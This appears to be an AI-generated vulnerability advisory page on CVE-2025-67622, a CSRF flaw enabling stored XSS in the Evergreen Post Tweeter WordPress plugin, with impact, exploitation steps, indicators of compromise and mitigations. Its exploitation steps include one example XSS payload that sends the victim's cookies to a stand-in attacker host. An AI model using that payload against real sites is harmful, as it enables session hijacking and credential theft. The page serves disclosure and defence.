Register for the AI for Security Summit: Join Figma, Perplexity & Wiz

CVE-2025-67622
WordPress vulnerability analysis and mitigation

Overview

CVE-2025-67622 is a Cross-Site Request Forgery (CSRF) vulnerability in the Evergreen Post Tweeter WordPress plugin (by titopandub) that enables Stored Cross-Site Scripting (XSS). It affects all versions of the plugin up to and including 1.8.9. The vulnerability was published on December 24, 2025, and was assigned by Patchstack. It carries a CVSS v3.1 base score of 8.8 (High) (Red Hat CVE, Feedly).

Technical details

The root cause is classified as CWE-352 (Cross-Site Request Forgery), where the plugin fails to implement adequate CSRF token validation on sensitive administrative requests. An attacker can craft a malicious web page or link that, when visited by an authenticated WordPress administrator or privileged user, silently submits a forged request to the plugin's endpoint. Because the request carries the victim's valid session credentials, the plugin processes it without verification, allowing the attacker to inject and persistently store malicious JavaScript (Stored XSS) within the WordPress site. No authentication is required on the attacker's side; only user interaction (visiting a malicious page) is needed (Patchstack).

Impact

Successful exploitation allows an attacker to inject persistent malicious scripts into the WordPress site, which execute in the browsers of any user who subsequently visits affected pages. This can lead to session hijacking, credential theft, unauthorized administrative actions, defacement, or further compromise of site visitors. The high confidentiality, integrity, and availability impact scores reflect the potential for full site takeover when an administrator is targeted (Red Hat CVE, Feedly).

Exploitability

There is currently no public proof-of-concept exploit code and no evidence of in-the-wild exploitation. The EPSS score is approximately 0.018%, indicating a low probability of exploitation in the near term. No threat actor attribution has been made, and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (Feedly).

Exploitation steps

  1. Reconnaissance: Identify WordPress sites running the Evergreen Post Tweeter plugin version ≤ 1.8.9 using tools like WPScan or by inspecting plugin directories.
  2. Craft malicious payload: Create an HTML page containing a hidden form or JavaScript that auto-submits a POST request to the target WordPress site's plugin settings endpoint, embedding a stored XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) in a plugin configuration field.
  3. Deliver the attack: Trick an authenticated WordPress administrator into visiting the malicious page (e.g., via phishing email or a compromised external site).
  4. CSRF triggers: The victim's browser automatically submits the forged request with their valid session cookies; the plugin processes it without CSRF token validation and stores the malicious script.
  5. Stored XSS executes: Any user (including administrators or site visitors) who loads the affected page triggers the stored script, enabling session theft, credential harvesting, or further malicious actions (Patchstack).

Indicators of compromise

  • Logs: WordPress access logs showing unexpected POST requests to plugin-related admin endpoints (e.g., wp-admin/admin-post.php or wp-admin/options-general.php?page=evergreen-post-tweeter) from unusual referrers or external origins.
  • File System / Database: Unexpected JavaScript snippets or <script> tags stored in WordPress options or plugin configuration rows in the wp_options table associated with the Evergreen Post Tweeter plugin.
  • Network: Outbound connections from site visitors' browsers to unknown external domains shortly after loading pages where the plugin renders content, potentially indicating active XSS payload execution.
  • Process / Behavior: Unexpected admin account creation, password changes, or plugin/theme modifications occurring without administrator-initiated action, suggesting CSRF-driven unauthorized changes.

Mitigation and workarounds

Users should update the Evergreen Post Tweeter plugin to a version beyond 1.8.9 as soon as a patched release is available from the plugin author (titopandub). If the plugin is not critically needed, it should be disabled or removed immediately. As interim mitigations, administrators can deploy a WordPress security plugin (e.g., Wordfence, iThemes Security) that provides additional CSRF protection, and should educate users about not clicking unknown links while authenticated to WordPress. Regularly auditing all installed plugins and keeping WordPress core updated is also recommended (Feedly, Patchstack).

Additional resources


SourceThis report was generated using AI

Related WordPress vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-92541HIGH7.2
  • import-users-from-csv-with-meta
NoYesSep 20, 2026
CVE-2026-92540HIGH7.2
  • import-users-from-csv-with-meta
NoYesSep 20, 2026
CVE-2026-86785MEDIUM5.3
  • woo-to-facebook-shop
NoNoSep 20, 2026
CVE-2026-92965LOW3.7
  • tiktok-for-business
NoYesSep 20, 2026
CVE-2026-92423LOW2.7
  • meow-gallery
NoYesSep 20, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management